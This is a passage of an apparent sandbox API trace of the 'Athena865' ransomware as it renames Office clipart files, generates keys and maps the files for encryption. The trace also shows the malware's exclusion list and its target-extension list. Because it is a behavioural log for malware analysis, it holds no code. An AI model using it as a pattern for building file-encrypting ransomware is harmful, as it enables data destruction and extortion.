cAlternateFileName="")) returned 1 [0132.765] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.765] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.765] lstrcmpiW (lpString1="PE00231_.WMF", lpString2=".") returned 1 [0132.765] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="..") returned 1 [0132.765] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="windows") returned -1 [0132.765] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="bootmgr") returned 1 [0132.765] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="temp") returned -1 [0132.765] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="pagefile.sys") returned 1 [0132.765] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="boot") returned 1 [0132.765] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="ids.txt") returned 1 [0132.765] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="ntuser.dat") returned 1 [0132.765] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="perflogs") returned -1 [0132.765] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="MSBuild") returned 1 [0132.765] lstrlenW (lpString="PE00231_.WMF") returned 12 [0132.765] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00231_.WMF" | out: lpString1="PE00231_.WMF") returned="PE00231_.WMF" [0132.765] lstrlenW (lpString="PE00231_.WMF") returned 12 [0132.765] lstrlenW (lpString="Athena865") returned 9 [0132.766] lstrcmpiW (lpString1="0231_.WMF", lpString2="Athena865") returned -1 [0132.766] lstrlenW (lpString=".dll") returned 4 [0132.766] lstrcmpiW (lpString1="PE00231_.WMF", lpString2=".dll") returned 1 [0132.766] lstrlenW (lpString=".lnk") returned 4 [0132.766] lstrcmpiW (lpString1="PE00231_.WMF", lpString2=".lnk") returned 1 [0132.766] lstrlenW (lpString=".ini") returned 4 [0132.766] lstrcmpiW (lpString1="PE00231_.WMF", lpString2=".ini") returned 1 [0132.766] lstrlenW (lpString=".sys") returned 4 [0132.766] lstrcmpiW (lpString1="PE00231_.WMF", lpString2=".sys") returned 1 [0132.766] lstrlenW (lpString="PE00231_.WMF") returned 12 [0132.766] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.Athena865") returned 73 [0132.766] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.767] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2228) returned 1 [0132.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.768] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.768] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.768] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.769] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbc0, lpName=0x0) returned 0x154 [0132.770] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbc0) returned 0x100000 [0132.771] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.772] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.772] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.772] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.772] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.772] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.772] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.772] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.772] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.772] CloseHandle (hObject=0x154) returned 1 [0132.773] CloseHandle (hObject=0x17c) returned 1 [0132.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.773] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00272_.WMF", cAlternateFileName="")) returned 1 [0132.773] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.773] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.773] lstrcmpiW (lpString1="PE00272_.WMF", lpString2=".") returned 1 [0132.773] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="..") returned 1 [0132.773] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="windows") returned -1 [0132.773] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="bootmgr") returned 1 [0132.773] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="temp") returned -1 [0132.773] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="pagefile.sys") returned 1 [0132.773] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="boot") returned 1 [0132.773] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="ids.txt") returned 1 [0132.773] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="ntuser.dat") returned 1 [0132.773] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="perflogs") returned -1 [0132.773] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="MSBuild") returned 1 [0132.773] lstrlenW (lpString="PE00272_.WMF") returned 12 [0132.773] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00272_.WMF" | out: lpString1="PE00272_.WMF") returned="PE00272_.WMF" [0132.773] lstrlenW (lpString="PE00272_.WMF") returned 12 [0132.773] lstrlenW (lpString="Athena865") returned 9 [0132.774] lstrcmpiW (lpString1="0272_.WMF", lpString2="Athena865") returned -1 [0132.774] lstrlenW (lpString=".dll") returned 4 [0132.774] lstrcmpiW (lpString1="PE00272_.WMF", lpString2=".dll") returned 1 [0132.774] lstrlenW (lpString=".lnk") returned 4 [0132.774] lstrcmpiW (lpString1="PE00272_.WMF", lpString2=".lnk") returned 1 [0132.774] lstrlenW (lpString=".ini") returned 4 [0132.774] lstrcmpiW (lpString1="PE00272_.WMF", lpString2=".ini") returned 1 [0132.774] lstrlenW (lpString=".sys") returned 4 [0132.774] lstrcmpiW (lpString1="PE00272_.WMF", lpString2=".sys") returned 1 [0132.774] lstrlenW (lpString="PE00272_.WMF") returned 12 [0132.774] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.Athena865") returned 73 [0132.774] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.776] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2804) returned 1 [0132.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.776] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.777] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.777] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.777] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe00, lpName=0x0) returned 0x154 [0132.779] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe00) returned 0x100000 [0132.779] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.780] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.780] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.781] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.781] CloseHandle (hObject=0x154) returned 1 [0132.781] CloseHandle (hObject=0x17c) returned 1 [0132.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.781] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c9b200, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c9b200, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5aa4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00468_.WMF", cAlternateFileName="")) returned 1 [0132.781] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.781] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.781] lstrcmpiW (lpString1="PE00468_.WMF", lpString2=".") returned 1 [0132.782] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="..") returned 1 [0132.782] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="windows") returned -1 [0132.782] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="bootmgr") returned 1 [0132.782] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="temp") returned -1 [0132.782] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="pagefile.sys") returned 1 [0132.782] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="boot") returned 1 [0132.782] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="ids.txt") returned 1 [0132.782] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="ntuser.dat") returned 1 [0132.782] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="perflogs") returned -1 [0132.782] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="MSBuild") returned 1 [0132.782] lstrlenW (lpString="PE00468_.WMF") returned 12 [0132.782] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00468_.WMF" | out: lpString1="PE00468_.WMF") returned="PE00468_.WMF" [0132.782] lstrlenW (lpString="PE00468_.WMF") returned 12 [0132.782] lstrlenW (lpString="Athena865") returned 9 [0132.782] lstrcmpiW (lpString1="0468_.WMF", lpString2="Athena865") returned -1 [0132.782] lstrlenW (lpString=".dll") returned 4 [0132.782] lstrcmpiW (lpString1="PE00468_.WMF", lpString2=".dll") returned 1 [0132.782] lstrlenW (lpString=".lnk") returned 4 [0132.782] lstrcmpiW (lpString1="PE00468_.WMF", lpString2=".lnk") returned 1 [0132.782] lstrlenW (lpString=".ini") returned 4 [0132.782] lstrcmpiW (lpString1="PE00468_.WMF", lpString2=".ini") returned 1 [0132.782] lstrlenW (lpString=".sys") returned 4 [0132.782] lstrcmpiW (lpString1="PE00468_.WMF", lpString2=".sys") returned 1 [0132.782] lstrlenW (lpString="PE00468_.WMF") returned 12 [0132.782] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.Athena865") returned 73 [0132.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.784] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23204) returned 1 [0132.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.784] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.785] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.785] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.785] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5db0, lpName=0x0) returned 0x154 [0132.787] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5db0) returned 0x100000 [0132.788] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.789] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.789] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.790] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.790] CloseHandle (hObject=0x154) returned 1 [0132.790] CloseHandle (hObject=0x17c) returned 1 [0132.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.790] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d320700, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d320700, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x1cf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00478_.WMF", cAlternateFileName="")) returned 1 [0132.791] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.791] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.791] lstrcmpiW (lpString1="PE00478_.WMF", lpString2=".") returned 1 [0132.791] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="..") returned 1 [0132.791] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="windows") returned -1 [0132.791] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="bootmgr") returned 1 [0132.791] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="temp") returned -1 [0132.791] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="pagefile.sys") returned 1 [0132.791] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="boot") returned 1 [0132.791] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="ids.txt") returned 1 [0132.791] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="ntuser.dat") returned 1 [0132.791] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="perflogs") returned -1 [0132.791] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="MSBuild") returned 1 [0132.791] lstrlenW (lpString="PE00478_.WMF") returned 12 [0132.791] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00478_.WMF" | out: lpString1="PE00478_.WMF") returned="PE00478_.WMF" [0132.791] lstrlenW (lpString="PE00478_.WMF") returned 12 [0132.791] lstrlenW (lpString="Athena865") returned 9 [0132.791] lstrcmpiW (lpString1="0478_.WMF", lpString2="Athena865") returned -1 [0132.791] lstrlenW (lpString=".dll") returned 4 [0132.791] lstrcmpiW (lpString1="PE00478_.WMF", lpString2=".dll") returned 1 [0132.791] lstrlenW (lpString=".lnk") returned 4 [0132.791] lstrcmpiW (lpString1="PE00478_.WMF", lpString2=".lnk") returned 1 [0132.791] lstrlenW (lpString=".ini") returned 4 [0132.791] lstrcmpiW (lpString1="PE00478_.WMF", lpString2=".ini") returned 1 [0132.791] lstrlenW (lpString=".sys") returned 4 [0132.791] lstrcmpiW (lpString1="PE00478_.WMF", lpString2=".sys") returned 1 [0132.791] lstrlenW (lpString="PE00478_.WMF") returned 12 [0132.791] lstrlenW (lpString="bak") returned 3 [0132.792] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0132.792] lstrlenW (lpString="ba_") returned 3 [0132.792] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0132.792] lstrlenW (lpString="dbb") returned 3 [0132.792] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0132.792] lstrlenW (lpString="vmdk") returned 4 [0132.792] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0132.792] lstrlenW (lpString="rar") returned 3 [0132.792] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0132.792] lstrlenW (lpString="zip") returned 3 [0132.792] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0132.792] lstrlenW (lpString="tgz") returned 3 [0132.792] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0132.792] lstrlenW (lpString="vbox") returned 4 [0132.792] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0132.792] lstrlenW (lpString="vdi") returned 3 [0132.792] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0132.792] lstrlenW (lpString="vhd") returned 3 [0132.792] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0132.792] lstrlenW (lpString="vhdx") returned 4 [0132.792] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0132.792] lstrlenW (lpString="avhd") returned 4 [0132.792] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0132.792] lstrlenW (lpString="db") returned 2 [0132.792] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0132.792] lstrlenW (lpString="db2") returned 3 [0132.792] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0132.792] lstrlenW (lpString="db3") returned 3 [0132.792] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0132.792] lstrlenW (lpString="dbf") returned 3 [0132.793] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0132.793] lstrlenW (lpString="mdf") returned 3 [0132.793] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0132.793] lstrlenW (lpString="mdb") returned 3 [0132.793] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0132.793] lstrlenW (lpString="sql") returned 3 [0132.793] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0132.793] lstrlenW (lpString="sqlite") returned 6 [0132.793] lstrcmpiW (lpString1="8_.WMF", lpString2="sqlite") returned -1 [0132.793] lstrlenW (lpString="sqlite3") returned 7 [0132.793] lstrcmpiW (lpString1="78_.WMF", lpString2="sqlite3") returned -1 [0132.793] lstrlenW (lpString="sqlitedb") returned 8 [0132.793] lstrcmpiW (lpString1="478_.WMF", lpString2="sqlitedb") returned -1 [0132.793] lstrlenW (lpString="xml") returned 3 [0132.793] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0132.793] lstrlenW (lpString="$er") returned 3 [0132.793] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0132.793] lstrlenW (lpString="4dd") returned 3 [0132.793] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0132.793] lstrlenW (lpString="4dl") returned 3 [0132.793] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0132.793] lstrlenW (lpString="^^^") returned 3 [0132.793] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0132.793] lstrlenW (lpString="abs") returned 3 [0132.793] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0132.793] lstrlenW (lpString="abx") returned 3 [0132.793] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0132.793] lstrlenW (lpString="accdb") returned 5 [0132.793] lstrcmpiW (lpString1="_.WMF", lpString2="accdb") returned -1 [0132.793] lstrlenW (lpString="accdc") returned 5 [0132.794] lstrcmpiW (lpString1="_.WMF", lpString2="accdc") returned -1 [0132.794] lstrlenW (lpString="accde") returned 5 [0132.794] lstrcmpiW (lpString1="_.WMF", lpString2="accde") returned -1 [0132.794] lstrlenW (lpString="accdr") returned 5 [0132.794] lstrcmpiW (lpString1="_.WMF", lpString2="accdr") returned -1 [0132.794] lstrlenW (lpString="accdt") returned 5 [0132.794] lstrcmpiW (lpString1="_.WMF", lpString2="accdt") returned -1 [0132.794] lstrlenW (lpString="accdw") returned 5 [0132.794] lstrcmpiW (lpString1="_.WMF", lpString2="accdw") returned -1 [0132.794] lstrlenW (lpString="accft") returned 5 [0132.794] lstrcmpiW (lpString1="_.WMF", lpString2="accft") returned -1 [0132.794] lstrlenW (lpString="adb") returned 3 [0132.794] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0132.794] lstrlenW (lpString="adb") returned 3 [0132.794] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0132.794] lstrlenW (lpString="ade") returned 3 [0132.794] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0132.794] lstrlenW (lpString="adf") returned 3 